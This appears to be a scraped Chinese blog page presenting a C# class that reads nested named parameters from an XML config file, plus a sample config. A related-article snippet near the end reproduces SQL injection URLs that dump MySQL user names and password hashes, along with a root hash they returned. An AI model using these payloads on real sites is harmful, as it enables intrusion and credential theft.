Parameter配置文件获取

public class ConfigInfo
    {
        public static ParametersHelper Parameters
        {
            get { return new ParametersHelper(); }
        }

        public class ParametersHelper
        {
            string fileName = Path.Combine(AppDomain.CurrentDomain.SetupInformation.ApplicationBase,JobConstValue.BUSINESS_CONFIG_FILE);
            public PerParameter this[string name]
            {
                get
                {
                    string parameterStr = Utility.ExecuteXPathInFile(fileName, string.Format(@"/Parameters/Parameter[@name=‘{0}‘]", name.Trim()));
                    if (parameterStr != null)
                    {
                        PerParameter returnObj = new PerParameter(name, parameterStr);
                        return returnObj;
                    }
                    else
                    {
                        return null;
                    }
                }
            }

            public class PerParameter
            {
                public PerParameter(string name, string parameterStr)
                {
                    m_ParameterStr = parameterStr;
                    m_Name = name;
                    m_Value = Utility.ExecuteXPathInString(parameterStr, @"/Parameter/text()");
                }

                string m_ParameterStr;

                private string m_Name;
                public string Name { get { return m_Name; } }

                public PerParameterAttributes Attributes
                {
                    get
                    {
                        string[] temp = m_ParameterStr.GetSubString(@"(?<=\<Parameter\s+).+.(?=/?\>)");
                        if (temp != null && temp.Length > 0)
                            return new PerParameterAttributes(temp[0]);
                        else
                            return null;
                    }
                }

                string m_Value;
                public string Value { get { return m_Value; } }

                public List<PerParameter> Parameters
                {
                    get
                    {
                        List<PerParameter> list = new List<PerParameter>();
                        XmlDocument doc = new XmlDocument();
                        doc.LoadXml(m_ParameterStr);
                        XmlNodeList nodes = doc.SelectNodes("/Parameter/Parameter");
                        if (nodes != null && nodes.Count > 0)
                        {
                            foreach (XmlNode item in nodes)
                            {
                                list.Add(new PerParameter(item.Attributes["name"].InnerText, item.OuterXml));
                            }
                        }
                        return list;
                    }
                }

                public PerParameter this[string name]
                {
                    get
                    {
                        string parameterStr = Utility.ExecuteXPathInString(m_ParameterStr, string.Format(@"/Parameter/Parameter[@name=‘{0}‘]", name.Trim()));
                        if (parameterStr != null)
                            return new PerParameter(name, parameterStr);
                        else
                            return null;
                    }
                }
            }

            public class PerParameterAttributes
            {
                public PerParameterAttributes(string attributes)
                {
                    m_Attributes = attributes;
                }

                string m_Attributes = string.Empty;

                public string this[string name]
                {
                    get
                    {
                        string[] results = m_Attributes.GetSubString(string.Format(@"(?<={0}\s*="").+", name));
                        if (results != null && results.Length > 0)
                        {
                            return results[0].ReplaceString(@""".*", string.Empty);
                        }
                        else
                            return null;
                    }
                }
            }
        }
    }

配置文件示例:
<?xml version="1.0"?>
<Parameters>
  <Parameter name="WarehouseNumber">
    <Parameter name="USA">9N</Parameter>
    <Parameter name="USB">9X</Parameter>
    <Parameter name="RoseWill">9R</Parameter>
  </Parameter>
  <Parameter name="HoldReason">
    <Parameter name="B2BHoldReason">B2B Order waiting for approval</Parameter>
    <Parameter name="APIHoldReason">Hold By RuleSet API</Parameter>
    <Parameter name="HoldReasonForSO">Hold S.O</Parameter>
  </Parameter>
  <Parameter name="TestAccount">
    <Parameter name="Account">7084500</Parameter>
  </Parameter>

  <Parameter name="SpecialItems">
    <Parameter name="UPSLabelItem">99-993-001</Parameter>
    <Parameter name="GiftCardItem">00-999-157</Parameter>
  </Parameter>

  <Parameter name="DiscountAllocationRegex">
    <Parameter name="RegexValue">^(DISCOUNT FOR COMBO #){1}\d{1,10}$|^(DISCOUNT FOR COMBO #){1}\d{1,10}( GIFT){1}$|^(DISCOUNT FOR AUTOADD #){1}\d{1,10}$</Parameter>
  </Parameter>

</Parameters>

  

  

时间: 2024-11-07 02:24:22

Parameter配置文件获取的相关文章

php_mysql注入load_file()IIS配置文件获取

php_mysql注入load_file()IIS配置文件获取 先看一个注入点: http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database(),0x5c,user(),0x5c,version()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 得到回显:flier_dbase\[email protected]\5.0

Spring Boot通过application.yml配置文件获取属性及类信息

实体类信息Spring Boot通过application.yml配置文件获取属性及类信息 原文地址:https://blog.51cto.com/6000734/2354529

Spring获取ApplicationContext方式,和读取配置文件获取bean的几种方式

转自:http://chinazhaokeke.blog.163.com/blog/static/109409055201092811354236  Spring获取ApplicationContext方式 我自己常用的方法: 读取一个文件1 //创建Spring容器 2 ApplicationContext ctx = new ClassPathXmlApplicationContext("bean.xml"); 3 //获取chinese 实例 4 Person p = ctx.g

Spring通过配置文件获取bean(不用IOC)

1.写一个SpringContext的工具类 实现ApplicationContextAware接口 1 import org.springframework.beans.BeansException; 2 import org.springframework.beans.factory.NoSuchBeanDefinitionException; 3 import org.springframework.context.ApplicationContext; 4 import org.spri

[转]php mysql注入load_file IIS配置文件获取后台地址

1.找不到后台地址,那么干脆爆MySql管理员的口令http://www.***.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(user,password),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user得到数据:root*CB26B0546CADD30FC2432C095A6A3D54FA3C2FFD 2.随便访

Smarty3——从配置文件获取的变量

再使用配置变量前要 引入配置变量即:{$config_load file='file_path'}$marty3中可以从配置文件中 用 # 号包起来引用配置文件中的变量({#config_var_name#}),或者通过Smarty变量 $smarty.config.config_var_name 访问, smarty.config: article_title = 'this is the varurable ofsmarty use method' article_bgcolor = #ee

第四课:通过配置文件获取对象(Spring框架中的IOC和DI的底层就是基于这样的机制)

首先在D盘创建一个文件hero.txt,内容为:com.hero.Hero(此处必须是Hero的完整路径) 接下来是Hero类 package com.hero; public class Hero { String name; int id; public Hero() { super(); // TODO Auto-generated constructor stub } public Hero(String name, int id) { super(); this.name = name

利用Mybatis的配置文件获取SqlSessionFactory

import java.io.IOException; import java.io.Reader; import org.apache.ibatis.io.Resources; import org.apache.ibatis.session.SqlSessionFactory; import org.apache.ibatis.session.SqlSessionFactoryBuilder; public class GetSqlSessionFactory { private stati

(转)获取指定数据库和用户的所有表表名

import java.io.IOException; import java.io.InputStream; import java.sql.Connection; import java.sql.DatabaseMetaData; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.List; import java.util.Propert